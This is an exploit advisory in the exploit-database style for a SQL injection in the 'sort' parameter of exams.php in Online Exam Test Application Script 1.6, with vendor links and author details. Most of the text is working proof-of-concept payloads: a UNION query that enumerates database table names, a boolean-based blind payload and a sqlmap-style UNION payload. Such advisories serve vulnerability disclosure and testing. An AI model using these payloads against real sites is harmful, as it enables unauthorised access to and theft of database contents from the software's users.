# # # # # # Exploit Title: Online Exam Test Application Script 1.6 - 'Exams.php 'sort' SQL Injection # Dork: N/A # Date: 08.12.2017 # Vendor Homepage: https://www.phpscriptsmall.com/ # Software Link: https://www.phpscriptsmall.com/product/online-exam-test-application/ # Version: 1.6 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # # # # # # Exploit Author: Ihsan Sencan # Author Web: http://ihsan.net # Author Social: @ihsansencan # # # # # # Description: # The vulnerability allows an attacker to inject sql commands.... # # Proof of Concept: # # 1) # http://localhost/[PATH]/exams.php?sort=[SQL] # # -4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+- # # http://server/exams.php?sort=-4++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6--+- # # Parameter: sort (GET) # Type: boolean-based blind # Title: AND boolean-based blind - WHERE or HAVING clause # Payload: sort=4 AND 9300=9300 # # Type: UNION query # Title: Generic UNION query (NULL) - 6 columns # Payload: sort=4 UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x436a5574724b7477565147546d496b47534c4e586c4275794c6359695374477874484b4669767978,0x7176627871),NULL,NULL,NULL,NULL-- Knya # # # # # #